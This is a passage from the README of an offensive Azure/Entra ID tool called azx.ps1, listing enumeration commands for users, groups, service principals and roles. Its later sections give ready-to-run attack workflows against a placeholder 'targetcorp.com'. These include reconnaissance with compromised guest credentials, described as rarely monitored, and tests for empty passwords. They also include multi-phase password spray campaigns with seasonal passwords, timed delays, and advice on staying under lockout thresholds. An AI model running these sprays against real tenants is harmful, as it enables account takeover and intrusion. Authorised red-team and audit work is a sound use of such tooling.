# Discover service principals with their permissions and ownership
.\azx.ps1 sp-discovery                       # Enumerate all service principals with permissions (read-only by default)
.\azx.ps1 sp-discovery -ExportPath sp-perms.csv     # Export to CSV for analysis
.\azx.ps1 sp-discovery -ExportPath sp-perms.json    # Export full details to JSON
.\azx.ps1 sp-discovery -IncludeWritePermissions     # Include AppRoleAssignment.ReadWrite.All permission (optional)

# Use case: Identify privilege escalation paths through service principals
# - Find SPNs with high-risk permissions (RoleManagement, Directory.ReadWrite)
# - Discover password-only credentials (vulnerable to theft)
# - Map out who owns which service principals
# - Identify OAuth2 permissions granted to applications
```

**Scenario 7: Directory Role Assignments and Privileged Account Discovery**
```powershell
# Enumerate all directory role assignments
.\azx.ps1 roles                              # List all role assignments and privileged accounts
.\azx.ps1 roles -ExportPath roles.csv        # Export to CSV for compliance review
.\azx.ps1 roles -ExportPath roles.json       # Export full details including PIM assignments

# Use case: Privileged access review and security audit
# - 🔴 Privileged roles (Global Admin, Security Admin, etc.) are highlighted in RED
# - Identify Global Administrators and other privileged roles
# - Discover group-based role assignments (potential privilege escalation)
# - Find service principals with directory roles
# - Review PIM (Privileged Identity Management) eligible assignments
# - Detect excessive privileged accounts for security compliance
```

### Basic Syntax

```powershell
# Device enumeration
.\azx.ps1 hosts [-Filter <FilterType>] [-ShowOwners] [-NoColor] [-ExportPath <Path>] [-Scopes <Scopes>]

# Tenant discovery (auto-detects domain if not specified)
.\azx.ps1 tenant [-Domain <DomainName>] [-NoColor] [-ExportPath <Path>]

# Username enumeration (no authentication required, auto-detects domain if not specified)
.\azx.ps1 users [-Domain <DomainName>] [-Username <User>] [-UserFile <Path>] [-CommonUsernames] [-NoColor] [-ExportPath <Path>]

# User profile enumeration (authentication required)
.\azx.ps1 user-profiles [-NoColor] [-ExportPath <Path>]

# Group enumeration (authentication required)
.\azx.ps1 groups [-ShowOwners] [-NoColor] [-ExportPath <Path>]

# Password policy enumeration (authentication required)
.\azx.ps1 pass-pol [-NoColor] [-ExportPath <Path>]

# Guest login enumeration (like nxc smb -u 'a' -p '') - domain auto-detected if not specified
.\azx.ps1 guest [-Domain <DomainName>] [-Username <User>] [-Password <Password>] [-UserFile <Path>] [-NoColor] [-ExportPath <Path>]

# Active session enumeration (like nxc smb --qwinsta) - authentication required
.\azx.ps1 sessions [-Username <User>] [-Hours <Hours>] [-NoColor] [-ExportPath <Path>]

# Azure VM logged-on users (like nxc smb --logged-on-users / Remote Registry Service) - Azure authentication required
.\azx.ps1 vm-loggedon [-ResourceGroup <RGName>] [-SubscriptionId <SubId>] [-VMFilter <all|running|stopped>] [-NoColor] [-ExportPath <Path>]

# Azure Storage Account enumeration (multi-subscription support) - Azure authentication required
.\azx.ps1 storage-enum [-ResourceGroup <RGName>] [-SubscriptionId <SubId>] [-ExportPath <Path>]

# Azure Key Vault enumeration (multi-subscription support) - Azure authentication required
.\azx.ps1 keyvault-enum [-ResourceGroup <RGName>] [-SubscriptionId <SubId>] [-ExportPath <Path>]

# Azure Network resource enumeration (multi-subscription support) - Azure authentication required
.\azx.ps1 network-enum [-ResourceGroup <RGName>] [-SubscriptionId <SubId>] [-ExportPath <Path>]

# Azure File Shares enumeration (multi-subscription support) - Azure authentication required
.\azx.ps1 shares-enum [-ResourceGroup <RGName>] [-SubscriptionId <SubId>] [-SharesFilter <all|READ|WRITE|READ,WRITE>] [-ExportPath <Path>]

# Azure Managed Disks enumeration (multi-subscription support) - Azure authentication required
.\azx.ps1 disks-enum [-ResourceGroup <RGName>] [-SubscriptionId <SubId>] [-ExportPath <Path>]

# BitLocker enumeration on Windows VMs (multi-subscription support) - Azure authentication required
.\azx.ps1 bitlocker-enum [-ResourceGroup <RGName>] [-SubscriptionId <SubId>] [-VMFilter <all|running|stopped>] [-ExportPath <Path>]

# Process enumeration on Azure VMs (multi-subscription support) - Azure authentication required
.\azx.ps1 process-enum [-ResourceGroup <RGName>] [-SubscriptionId <SubId>] [-VMFilter <all|running|stopped>] [-ProcessName <ProcessName>] [-ExportPath <Path>]

# Vulnerable target enumeration (like nxc smb --gen-relay-list) - domain auto-detected if not specified
.\azx.ps1 vuln-list [-Domain <DomainName>] [-NoColor] [-ExportPath <Path>]

# Application and service principal enumeration (authentication required)
.\azx.ps1 apps [-NoColor] [-ExportPath <Path>]

# Service principal permission discovery (authentication required)
.\azx.ps1 sp-discovery [-NoColor] [-ExportPath <Path>] [-IncludeWritePermissions]

# Directory role assignments enumeration (authentication required)
.\azx.ps1 roles [-NoColor] [-ExportPath <Path>]

# Display help and available commands
.\azx.ps1 help

# Note: Add -Disconnect to any command to automatically disconnect from Microsoft Graph after execution
.\azx.ps1 hosts -Disconnect
.\azx.ps1 sp-discovery -ExportPath sp.json -Disconnect
```

### Parameters

| Parameter | Description | Required | Default |
|-----------|-------------|----------|---------|
| `Command` | Operation to perform: `hosts`, `tenant`, `users`, `user-profiles`, `groups`, `local-groups`, `pass-pol`, `guest`, `vuln-list`, `sessions`, `guest-vuln-scan`, `apps`, `sp-discovery`, `roles`, `help` | Yes | - |
| `Domain` | Domain name for tenant/user/guest discovery. Auto-detected from UPN, username, or environment if not provided | No | Auto-detect |
| `Filter` | Filter devices by criteria | No | `all` |
| `ShowOwners` | Display device/group owners (slower) | No | `False` |
| `Username` | Single username to check (users/guest/sessions commands) | No | - |
| `Password` | Password to test for authentication (guest command). Use `''` for null password | No | - |
| `UserFile` | File with usernames to check (users/guest commands) | No | - |
| `CommonUsernames` | Use built-in common username list (users command) | No | `False` |
| `Hours` | Number of hours to look back for sign-in events (sessions command). Azure AD retention: 7 days (Free), 30 days (Premium) | No | `24` |
| `NoColor` | Disable colored output | No | `False` |
| `ExportPath` | Export results to CSV, JSON, or HTML (netexec-styled reports) | No | - |
| `Scopes` | Microsoft Graph scopes to request (automatically set based on command) | No | Command-specific |
| `IncludeWritePermissions` | Include AppRoleAssignment.ReadWrite.All permission for sp-discovery command (script only reads, typically unnecessary) | No | `False` |
| `Disconnect` | Automatically disconnect from Microsoft Graph after script execution (useful for security and cleanup) | No | `False` |

### Available Filters

- `all` - All devices (default)
- `windows` - Only Windows devices
- `azuread` - Only Azure AD joined devices
- `hybrid` - Only Hybrid Azure AD joined devices
- `compliant` - Only compliant devices
- `noncompliant` - Only non-compliant devices
- `disabled` - Only disabled devices

## 💡 Command Examples by Feature

### Getting Help

### Display Available Commands
Show all available commands with authentication requirements:
```powershell
.\azx.ps1 help
```

This displays:
- All available commands
- Authentication requirements (Required, Not Required, Hybrid)
- Brief descriptions
- Common usage examples
- Link to full documentation

### Auto-Disconnect Feature

The `-Disconnect` parameter automatically disconnects from Microsoft Graph after command execution. This is useful for:
- **Security**: Ensures no lingering authentication sessions
- **Cleanup**: Automatic session management
- **Compliance**: Quick disconnect after data collection

### Example: Enumerate and Disconnect
```powershell
# Enumerate hosts and automatically disconnect when done
.\azx.ps1 hosts -Disconnect

# Discover service principals, export data, then disconnect
.\azx.ps1 sp-discovery -ExportPath sp-data.json -Disconnect

# Works with any authenticated command
.\azx.ps1 groups -ExportPath groups.csv -Disconnect
.\azx.ps1 roles -Disconnect
```

### Example: Multiple Commands with Final Disconnect
```powershell
# Run multiple enumerations, only disconnect after the last one
.\azx.ps1 hosts -ExportPath devices.csv
.\azx.ps1 groups -ExportPath groups.csv
.\azx.ps1 sp-discovery -ExportPath sp.json -Disconnect
```

---

### Username Enumeration Examples

### Example 1: Check Single Username (Auto-Detect Domain)
Check if a username exists using auto-detected domain:
```powershell
.\azx.ps1 users -Username alice@example.com
```

### Example 2: Check Single Username
Check if a specific username exists in the tenant:
```powershell
.\azx.ps1 users -Domain example.com -Username alice@example.com
```

### Example 3: Check Username Without Domain Suffix
Check a username (domain will be auto-appended):
```powershell
.\azx.ps1 users -Domain example.com -Username alice
```

### Example 4: Check Usernames from File
Check multiple usernames from a file (one per line):
```powershell
.\azx.ps1 users -Domain example.com -UserFile users.txt
```

### Example 5: Check Common Usernames
Test common usernames against the tenant:
```powershell
.\azx.ps1 users -Domain example.com -CommonUsernames
```

### Example 6: Check Common Usernames (Auto-Detect Domain)
Test common usernames against your current tenant (domain auto-detected):
```powershell
.\azx.ps1 users -CommonUsernames
```

### Example 7: Export Valid Usernames
Check common usernames and export valid ones:
```powershell
.\azx.ps1 users -Domain example.com -CommonUsernames -ExportPath valid-users.csv
```

### Example 8: Multiple Methods Combined
Check a specific user plus common usernames:
```powershell
.\azx.ps1 users -Domain example.com -Username admin@example.com -CommonUsernames -ExportPath results.json
```

### User Profile Enumeration Examples

### Example 8a: Basic User Profile Enumeration
Enumerate all user profiles in the Azure/Entra tenant (authenticated):
```powershell
.\azx.ps1 user-profiles
```

### Example 8b: User Profile Enumeration with CSV Export
Enumerate all user profiles and export to CSV:
```powershell
.\azx.ps1 user-profiles -ExportPath users.csv
```

### Example 8c: User Profile Enumeration with JSON Export
Enumerate all user profiles and export to JSON with full details:
```powershell
.\azx.ps1 user-profiles -ExportPath users.json
```

### Example 8d: User Profile Enumeration as Guest User
Test what user profiles a guest user can enumerate:
```powershell
# Connect as guest user first
.\azx.ps1 user-profiles -ExportPath guest-users.json
```

### Example 8e: Complete Directory Enumeration
Enumerate users, groups, devices, and policies:
```powershell
.\azx.ps1 user-profiles -ExportPath users.csv
.\azx.ps1 groups -ExportPath groups.csv
.\azx.ps1 hosts -ExportPath devices.csv
.\azx.ps1 pass-pol -ExportPath policy.json
```

### Tenant Discovery Examples

### Example 9: Auto-Detect Current User's Domain
Discover tenant configuration for your current domain (auto-detected):
```powershell
.\azx.ps1 tenant
```

### Example 10: Basic Tenant Discovery
Discover tenant configuration for a specific domain:
```powershell
.\azx.ps1 tenant -Domain example.com
```

### Example 11: Tenant Discovery with Export
Discover tenant configuration and export to JSON:
```powershell
.\azx.ps1 tenant -Domain example.onmicrosoft.com -ExportPath tenant-info.json
```

### Example 12: Tenant Discovery for Multiple Domains
Discover configuration for multiple domains:
```powershell
@("example.com", "example.com", "fabrikam.onmicrosoft.com") | ForEach-Object { 
    .\azx.ps1 tenant -Domain $_ 
}
```

### Example 12a: Enhanced Tenant Enumeration (like `nxc smb --enum`)
Perform comprehensive tenant reconnaissance including exposed apps and misconfigurations:
```powershell
.\azx.ps1 tenant -Domain example.com -ExportPath tenant-security-findings.json
```
This will enumerate:
- Exposed application IDs and client configurations
- Publicly accessible redirect URIs
- OAuth/OIDC misconfigurations (implicit flow, risky grant types)
- Federation metadata and endpoints
- Accessible Graph and Azure Management endpoints

### Device Enumeration Examples

### Example 13: Basic Device Enumeration
Enumerate all devices in the Azure/Entra tenant:
```powershell
.\azx.ps1 hosts
```

### Example 14: Filter Windows Devices
Enumerate only Windows devices:
```powershell
.\azx.ps1 hosts -Filter windows
```

### Example 15: Azure AD Joined Devices with Owners
Enumerate Azure AD joined devices and display their registered owners:
```powershell
.\azx.ps1 hosts -Filter azuread -ShowOwners
```

### Example 16: Non-Compliant Devices with Export
Enumerate non-compliant devices and export results to CSV:
```powershell
.\azx.ps1 hosts -Filter noncompliant -ExportPath devices.csv
```

### Example 17: Export to JSON
Enumerate all devices and export to JSON format:
```powershell
.\azx.ps1 hosts -ExportPath results.json
```

### Example 18: Disable Colored Output
Enumerate devices without colored output (useful for logging):
```powershell
.\azx.ps1 hosts -NoColor
```

### Example 19: Hybrid Joined Devices Only
Enumerate only Hybrid Azure AD joined devices:
```powershell
.\azx.ps1 hosts -Filter hybrid
```

### Example 20: Disabled Devices
Find all disabled devices in the tenant:
```powershell
.\azx.ps1 hosts -Filter disabled
```

### Example 21: Compliant Windows Devices with Export
Enumerate compliant Windows devices and export:
```powershell
.\azx.ps1 hosts -Filter compliant | Where-Object { $_.OperatingSystem -like "Windows*" }
```
*Note: For complex filtering, combine with PowerShell pipeline*

### Example 22: Custom Scopes
Specify custom Microsoft Graph scopes:
```powershell
.\azx.ps1 hosts -Scopes "Device.Read.All,Directory.Read.All"
```

### Guest User Enumeration Examples (Azure Null Session)

### Example 23: Test for Guest Enumeration Vulnerability
First, check if the target organization has external collaboration enabled:
```powershell
# Reconnaissance (no authentication)
.\azx.ps1 tenant -Domain targetcorp.com
```

### Example 24: Enumerate as Guest User (Low-Noise Reconnaissance)
Using compromised or legitimate guest credentials:
```powershell
# Disconnect any existing sessions
Disconnect-MgGraph

# Connect with guest credentials
.\azx.ps1 hosts
# (Enter guest credentials when prompted: vendor@partner.com)
```

### Example 25: Full Guest Enumeration with Export
Perform comprehensive enumeration as a guest user:
```powershell
# Full device enumeration with owners
.\azx.ps1 hosts -ShowOwners -ExportPath guest-devices.json

# Export to analyze offline
# Low-noise reconnaissance - guest activity is rarely monitored
```

### Example 26: Guest User Capability Testing
Test what a guest account can access:
```powershell
# After connecting as guest with .\azx.ps1 hosts

# Try built-in commands (easier and netexec-style output)
.\azx.ps1 groups -ExportPath guest-groups.csv
.\azx.ps1 pass-pol -ExportPath guest-policy.json

# Or use PowerShell Graph API directly
Get-MgUser -All | Select DisplayName, UserPrincipalName, JobTitle, Department | Export-Csv guest-users.csv
Get-MgGroup -All | Select DisplayName, Description | Export-Csv guest-groups.csv
Get-MgApplication -All | Select DisplayName, AppId | Export-Csv guest-apps.csv
```

### Example 27: Compare Guest vs Member Permissions
Enumerate with both account types to identify permission differences:
```powershell
# As guest user
.\azx.ps1 hosts -ExportPath guest-enum.json

# Disconnect and connect as member user
Disconnect-MgGraph
.\azx.ps1 hosts -ExportPath member-enum.json

# Compare results to understand guest restrictions (if any)
```

### Example 28: Automated Guest Vulnerability Scanner
Perform comprehensive guest permission security assessment:
```powershell
# Basic scan (auto-detect domain)
.\azx.ps1 guest-vuln-scan

# Scan specific tenant
.\azx.ps1 guest-vuln-scan -Domain targetcorp.com

# Full scan with detailed JSON report
.\azx.ps1 guest-vuln-scan -ExportPath guest-security-assessment.json

# The scanner performs:
# Phase 1: Unauthenticated checks
#   - External collaboration enabled?
#   - Tenant configuration
#   - Federation status
#
# Phase 2: Authenticated checks (requires login)
#   - Guest permission policy level
#   - External collaboration settings
#   - Test actual guest access to:
#     * Users directory
#     * Groups
#     * Devices
#     * Applications
#     * Directory Roles
#
# Phase 3: Security assessment report
#   - Risk score (0-100)
#   - Risk rating (LOW/MEDIUM/HIGH/CRITICAL)
#   - Detailed vulnerabilities with recommendations
#   - Actionable remediation steps
#
# 🔴 Risk-based color coding in vulnerability output:
# - CRITICAL risk (Score ≥ 70) = Guests have same permissions as members
# - HIGH risk (Score ≥ 40) = Guests can enumerate directory resources
# - 🟡 MEDIUM risk (Score 20-39) = Partial guest access enabled
```

**Example Output:**
```
[*] AZX - Guest User Vulnerability Scanner
[*] Command: Guest-Vuln-Scan (Azure Null Session Security Assessment)

[*] PHASE 1: Unauthenticated Enumeration
AZR         targetcorp.com                     443    [+] Tenant exists
AZR         targetcorp.com                     443    [!] External collaboration: ENABLED

[*] PHASE 2: Authenticated Enumeration (Guest Permission Testing)
[+] Connected as: vendor@partner.com
[!] GUEST USER DETECTED - Testing guest permission boundaries

[*] Checking guest permission policy...
    [!] WARNING: Guest permissions are not fully restricted

[*] Testing guest access to directory resources...
    [+] Users : ACCESSIBLE (Found 10 items)
    [+] Groups : ACCESSIBLE (Found 10 items)
    [+] Devices : ACCESSIBLE (Found 10 items)
    [-] Applications : BLOCKED
    [-] DirectoryRoles : BLOCKED

[*] PHASE 3: Security Assessment Report
[*] Overall Risk Score: 65 / 100
[*] Risk Rating: HIGH
[*] Vulnerabilities Found: 5

[HIGH] GuestEnumeration
    Description: Guest user can enumerate Users - Azure Null Session equivalent
    Recommendation: Review and restrict guest access to Users
```

### Group Enumeration Examples

### Example 29a: Basic Group Enumeration (mimics `nxc smb --groups`)
Enumerate all groups in the Azure/Entra tenant:
```powershell
.\azx.ps1 groups

# 🔴 Privileged/administrative security groups are automatically highlighted in RED
# Look for groups containing: admin, administrator, privileged, global, etc.
# 🟢 Standard security groups appear in GREEN
# 🟡 Mail-enabled groups appear in YELLOW
```

### Example 29b: Group Enumeration with Export
Enumerate all groups and export to CSV:
```powershell
.\azx.ps1 groups -ExportPath groups.csv
```

### Example 29c: Group Enumeration with Member Counts
Enumerate groups and display member counts (slower):
```powershell
.\azx.ps1 groups -ShowOwners
```

### Example 29d: Group Enumeration as Guest User
Test what groups a guest user can enumerate:
```powershell
# Connect as guest user
.\azx.ps1 groups -ExportPath guest-groups.json
```

### Local Groups Enumeration Examples (Administrative Units)

### Example 30a: Basic Local Groups Enumeration (mimics `nxc smb --local-group`)
Enumerate all Administrative Units in the Azure/Entra tenant:
```powershell
.\azx.ps1 local-groups

# 🔴 Privileged Administrative Units are automatically highlighted in RED
# Look for AUs containing: admin, security, privileged, IT, executive, etc.
# 🟡 Dynamic membership AUs appear in YELLOW (automated assignment)
# 🟢 Active AUs with members/roles appear in GREEN
# 🔵 Standard AUs appear in CYAN
```

### Example 30b: Local Groups with Member Counts
Enumerate Administrative Units with member and scoped role counts:
```powershell
.\azx.ps1 local-groups -ShowOwners
```

### Example 30c: Export Local Groups to CSV
Export Administrative Units enumeration to CSV:
```powershell
.\azx.ps1 local-groups -ExportPath admin-units.csv
```

### Example 30d: Export to JSON with Full Details
Export with complete Administrative Units information:
```powershell
.\azx.ps1 local-groups -ShowOwners -ExportPath admin-units.json
```

### Example 30e: HTML Report for Administrative Units
Generate comprehensive HTML report:
```powershell
.\azx.ps1 local-groups -ShowOwners -ExportPath admin-units.html
```

### Example 30f: Administrative Structure Mapping
Map complete administrative delegation structure:
```powershell
# Step 1: Enumerate Administrative Units (scoped boundaries)
.\azx.ps1 local-groups -ShowOwners -ExportPath admin-units.csv

# Step 2: Enumerate role assignments (privilege levels)
.\azx.ps1 roles -ExportPath roles.csv

# Step 3: Cross-reference to understand delegation structure
```

### Password Policy Enumeration Examples

### Example 28e: Password Policy Enumeration (mimics `nxc smb --pass-pol`)
Display password policies and security settings:
```powershell
.\azx.ps1 pass-pol
```

### Example 28f: Password Policy with Export
Export password policy information to JSON:
```powershell
.\azx.ps1 pass-pol -ExportPath policy.json
```

### Example 28g: Complete Security Assessment
Enumerate all security-relevant information:
```powershell
.\azx.ps1 hosts -ExportPath devices.csv
.\azx.ps1 groups -ExportPath groups.csv
.\azx.ps1 pass-pol -ExportPath policy.json
```

### Application Enumeration Examples

### Example 30a: Basic Application Enumeration
Enumerate all registered applications and service principals:
```powershell
.\azx.ps1 apps
```

This command displays:
- **Phase 1**: Application registrations with credential status
- **Phase 2**: Service principals (SPNs) with authentication details
- Summary statistics including security warnings
- **🔴 Red highlighting**: Applications requesting high-risk Microsoft Graph permissions are automatically highlighted in red
- **🟡 Yellow highlighting**: Password-only credentials and ROPC-enabled apps are highlighted in yellow

### Example 30b: Application Enumeration with CSV Export
Enumerate applications and export to CSV for offline analysis:
```powershell
.\azx.ps1 apps -ExportPath apps.csv
```

### Example 30c: Application Enumeration with JSON Export (Recommended)
Export full application and service principal details to JSON:
```powershell
.\azx.ps1 apps -ExportPath apps.json
```

The JSON export includes:
- Application IDs, display names, and object IDs
- Credential counts (password vs certificate)
- Public client configuration status (ROPC vulnerability indicator)
- Sign-in audience settings
- Redirect URIs (web and public client)
- Service principal types and enabled status

### Example 30d: Identify Security Risks
Look for applications with weak authentication:
```powershell
.\azx.ps1 apps -ExportPath apps.csv

# High-risk applications are automatically highlighted during output:
# - 🔴 RED apps = Requesting high-risk permissions (Directory.ReadWrite.All, Application.ReadWrite.All, etc.)
# - 🟡 YELLOW apps = Password-only credentials OR ROPC-enabled (password spray vulnerable)
# - 🟢 GREEN apps = Certificate-based authentication (secure configuration)

# Then analyze the CSV for detailed security analysis:
# - Apps/SPNs with PasswordCredentials > 0 and KeyCredentials = 0 (password-only = vulnerable)
# - Apps with IsFallbackPublicClient = True (ROPC-enabled = password spray vulnerable)
# - Service principals with AccountEnabled = True and password-only credentials
```

**Security Warning**: Applications and service principals with password-only credentials are vulnerable to credential theft, similar to SMB hosts without signing. Applications requesting high-risk permissions like `Directory.ReadWrite.All`, `Application.ReadWrite.All`, `AppRoleAssignment.ReadWrite.All`, or `RoleManagement.ReadWrite.Directory` pose privilege escalation risks. These are **automatically color-coded** during enumeration and summarized at the end.

### Example 30e: Complete Tenant Application Assessment
Full application security audit workflow:
```powershell
# 1. Enumerate all applications and service principals
.\azx.ps1 apps -ExportPath apps-full.json

# 2. Check for vulnerable configurations (from vuln-list command)
.\azx.ps1 vuln-list -ExportPath vuln-report.json

# 3. Analyze results
$apps = Get-Content apps-full.json | ConvertFrom-Json
$passwordOnly = $apps | Where-Object { $_.PasswordCredentials -gt 0 -and $_.KeyCredentials -eq 0 }
$publicClients = $apps | Where-Object { $_.IsFallbackPublicClient -eq $true }

Write-Host "Password-only applications: $($passwordOnly.Count)"
Write-Host "Public client applications (ROPC-enabled): $($publicClients.Count)"
```

### Service Principal Discovery Examples

### Example 31a: Basic Service Principal Discovery
Discover all service principals with their permissions and ownership:
```powershell
.\azx.ps1 sp-discovery
```

This command displays:
- **Phase 1**: Service principal enumeration with credential information
- **Phase 2**: App role assignments (application permissions) for each SPN
- **Phase 3**: OAuth2 permission grants (delegated permissions) for each SPN
- **Phase 4**: Service principal owners
- Detailed permission breakdown for each service principal
- Summary statistics including security warnings
- **🔴 Red highlighting**: Service principals and permissions with high-risk capabilities are automatically highlighted in red for immediate visibility

### Example 31b: Service Principal Discovery with CSV Export
Discover service principals and export to CSV for offline analysis:
```powershell
.\azx.ps1 sp-discovery -ExportPath sp-permissions.csv
```

The CSV export includes:
- Service principal IDs, app IDs, and display names
- Account status and service principal type
- Credential counts (password vs certificate)
- App role assignment count and details
- OAuth2 permission grant count and details
- Owner count and owner names

### Example 31c: Service Principal Discovery with JSON Export (Recommended)
Export full service principal permission details to JSON:
```powershell
.\azx.ps1 sp-discovery -ExportPath sp-permissions.json
```

The JSON export includes comprehensive data:
- All basic service principal properties
- Full app role assignments with resource mappings
- Complete OAuth2 permission grants with scope details
- Owner information (display names and types)
- Security risk indicators

### Example 31d: Identify High-Risk Service Principals
Look for service principals with dangerous permissions:
```powershell
.\azx.ps1 sp-discovery -ExportPath sp-perms.csv

# High-risk service principals are automatically highlighted in RED during output
# Look for:
# - 🔴 RED service principals = Have high-risk permissions (RoleManagement, Application.ReadWrite, etc.)
# - 🟡 YELLOW service principals = Password-only credentials (vulnerable to credential theft)
# - 🟢 GREEN service principals = Standard permissions with certificate-based auth

# Then analyze the CSV for detailed security analysis:
# - SPNs with PasswordCredentials > 0 and KeyCredentials = 0 (password-only = vulnerable)
# - SPNs with high AppRoleCount (many permissions = potential privilege escalation)
# - SPNs with OAuth2Permissions containing "RoleManagement" or "Application.ReadWrite"
# - SPNs with OwnerCount = 0 (orphaned service principals)
```

**Security Warning**: Service principals with password-only credentials are vulnerable to credential theft. Service principals with high-risk permissions like `RoleManagement.ReadWrite.Directory`, `Application.ReadWrite.All`, `AppRoleAssignment.ReadWrite.All`, or `Directory.ReadWrite.All` can be used for privilege escalation. These are **automatically highlighted in RED** during enumeration and summarized at the end.

### Example 31e: Complete Service Principal Permission Audit
Full service principal security audit workflow:
```powershell
# 1. Discover all service principals with permissions
.\azx.ps1 sp-discovery -ExportPath sp-full.json

# 2. Analyze results for security risks
$spns = Get-Content sp-full.json | ConvertFrom-Json
$passwordOnly = $spns | Where-Object { $_.PasswordCredentials -gt 0 -and $_.KeyCredentials -eq 0 }
$highPermissions = $spns | Where-Object { $_.AppRoleCount -gt 5 -or $_.OAuth2PermissionCount -gt 5 }
$orphaned = $spns | Where-Object { $_.OwnerCount -eq 0 }

Write-Host "Password-only service principals: $($passwordOnly.Count)"
Write-Host "Service principals with high permissions: $($highPermissions.Count)"
Write-Host "Orphaned service principals (no owners): $($orphaned.Count)"

# 3. Identify privilege escalation paths
$dangerousPerms = $spns | Where-Object { 
    $_.OAuth2Permissions -match "RoleManagement|Application.ReadWrite|Directory.ReadWrite" 
}
Write-Host "Service principals with dangerous permissions: $($dangerousPerms.Count)"
$dangerousPerms | Select-Object DisplayName, AppId, OAuth2Permissions | Format-Table
```

### Example 31f: Track Service Principal Ownership
Identify who owns which service principals:
```powershell
.\azx.ps1 sp-discovery -ExportPath sp-owners.json

# Analyze ownership patterns
$spns = Get-Content sp-owners.json | ConvertFrom-Json
$withOwners = $spns | Where-Object { $_.OwnerCount -gt 0 }
$multiOwner = $spns | Where-Object { $_.OwnerCount -gt 1 }

Write-Host "Service principals with owners: $($withOwners.Count)"
Write-Host "Service principals with multiple owners: $($multiOwner.Count)"

# Group by owner
$spns | Where-Object { $_.Owners } | 
    ForEach-Object { $_.Owners -split '; ' } | 
    Group-Object | 
    Sort-Object Count -Descending | 
    Select-Object Name, Count | 
    Format-Table
```

### Guest Login Enumeration Examples (like nxc smb -u 'a' -p '')

### Example 28h: Check Tenant Guest Configuration (Unauthenticated)
Check if a tenant accepts external/guest authentication:
```powershell
.\azx.ps1 guest -Domain targetcorp.com
```

### Example 28h2: Check Guest Configuration (Auto-Detect Domain)
Check guest configuration for your current tenant (domain auto-detected):
```powershell
.\azx.ps1 guest
```

### Example 28i: Test Null/Empty Password (like nxc smb -u 'a' -p '')
Test if accounts accept empty passwords:
```powershell
.\azx.ps1 guest -Domain targetcorp.com -Username admin -Password ''
.\azx.ps1 guest -Domain targetcorp.com -Username admin@targetcorp.com -Password ''
```

### Example 28j: Test Specific Credentials
Test a specific username/password combination:
```powershell
.\azx.ps1 guest -Domain targetcorp.com -Username alice@targetcorp.com -Password 'Summer2024!'
```

### Example 28k: Password Spray (Single Password, Multiple Users)
Test one password against multiple usernames:
```powershell
.\azx.ps1 guest -Domain targetcorp.com -UserFile users.txt -Password 'Winter2024!'
```

### Example 28l: Credential Testing from File
Test credentials from a file (format: `username:password` per line):
```powershell
.\azx.ps1 guest -Domain targetcorp.com -UserFile creds.txt
```

File format example (creds.txt):
```
admin:Password123
alice:Summer2024!
bob@targetcorp.com:Winter2024!
```

### Example 28m: Export Guest Login Results
Test credentials and export results:
```powershell
.\azx.ps1 guest -Domain targetcorp.com -UserFile users.txt -Password 'Password123' -ExportPath spray-results.json
```

### Password Spray Attack Examples (GetCredentialType + ROPC)

The most effective password spray attacks combine **username enumeration** with **credential testing** in a two-phase approach:

### Example 28n: Complete Password Spray - Common Usernames
Full workflow using common administrator accounts:
```powershell
# Phase 1: Enumerate valid usernames (GetCredentialType - no authentication logs)
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath valid-users.csv

# Phase 2: Extract valid usernames
$validUsers = Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
$validUsers | Out-File -FilePath spray-targets.txt
Write-Host "Found $($validUsers.Count) valid usernames for spraying"

# Phase 3: Password spray with seasonal password
.\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password 'Summer2024!' -ExportPath spray-results.json

# Phase 4: Analyze results
$results = Get-Content spray-results.json | ConvertFrom-Json
$validCreds = $results.AuthResults | Where-Object { $_.Success -eq $true }
$mfaAccounts = $results.AuthResults | Where-Object { $_.MFARequired -eq $true }

Write-Host "`nValid Credentials Found: $($validCreds.Count)"
Write-Host "Accounts with MFA: $($mfaAccounts.Count)"
$validCreds | Format-Table Username, MFARequired, HasToken
```

### Example 28o: Targeted Password Spray - Custom Username List
Using a custom list of identified users:
```powershell
# Assume you've collected usernames from OSINT, LinkedIn, company website, etc.
# Create a file: executives.txt with usernames (one per line)

# Phase 1: Validate which usernames actually exist
.\azx.ps1 users -Domain targetcorp.com -UserFile executives.txt -ExportPath validated-execs.csv

# Phase 2: Spray only against valid accounts
$validExecs = Import-Csv validated-execs.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
$validExecs | Out-File -FilePath valid-executives.txt

# Phase 3: Test with company-specific password pattern
.\azx.ps1 guest -Domain targetcorp.com -UserFile valid-executives.txt -Password 'TargetCorp2024!' -ExportPath exec-spray.json
```

### Example 28p: Multi-Password Spray Campaign
Testing multiple passwords with built-in delay between rounds (NetExec-style):
```powershell
# Create a password file (one password per line)
@'
Summer2024!
Winter2024!
Spring2024!
Fall2024!
Password123!
Welcome123!
TargetCorp2024!
'@ | Out-File passwords.txt

# Validate usernames first
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath valid-users.csv
Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username | Out-File spray-targets.txt

# NEW: Use the spray command with built-in delay (30 minutes between password rounds)
.\azx.ps1 spray -Domain targetcorp.com -UserFile spray-targets.txt -PasswordFile passwords.txt -Delay 1800 -ExportPath spray-results.json

# Or continue even after finding valid creds
.\azx.ps1 spray -Domain targetcorp.com -UserFile spray-targets.txt -PasswordFile passwords.txt -Delay 1800 -ContinueOnSuccess -ExportPath spray-all.json

# Export to HTML for reporting
.\azx.ps1 spray -Domain targetcorp.com -UserFile spray-targets.txt -PasswordFile passwords.txt -Delay 1800 -ExportPath spray-report.html
```

**Legacy Method (Manual Loop):**
```powershell
# If you prefer the old manual method with more control:
$passwords = @('Summer2024!', 'Winter2024!', 'Password123!')

foreach ($password in $passwords) {
    Write-Host "`n[*] Testing password: $password"
    .\azx.ps1 guest -Domain targetcorp.com -UserFile spray-targets.txt -Password $password -ExportPath "spray-$password.json"

if ($password -ne $passwords[-1]) {
        Write-Host "[*] Waiting 30 minutes before next password spray..."
        Start-Sleep -Seconds 1800
    }
}
```

### Example 28q: Smart Password Spray - Avoid Known Lockout Thresholds
Intelligent spraying that respects common lockout policies:
```powershell
# Most organizations lock accounts after 5-10 failed attempts
# Spray only 1 password per day to stay under threshold

# Day 1: Validate usernames
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath valid-users.csv
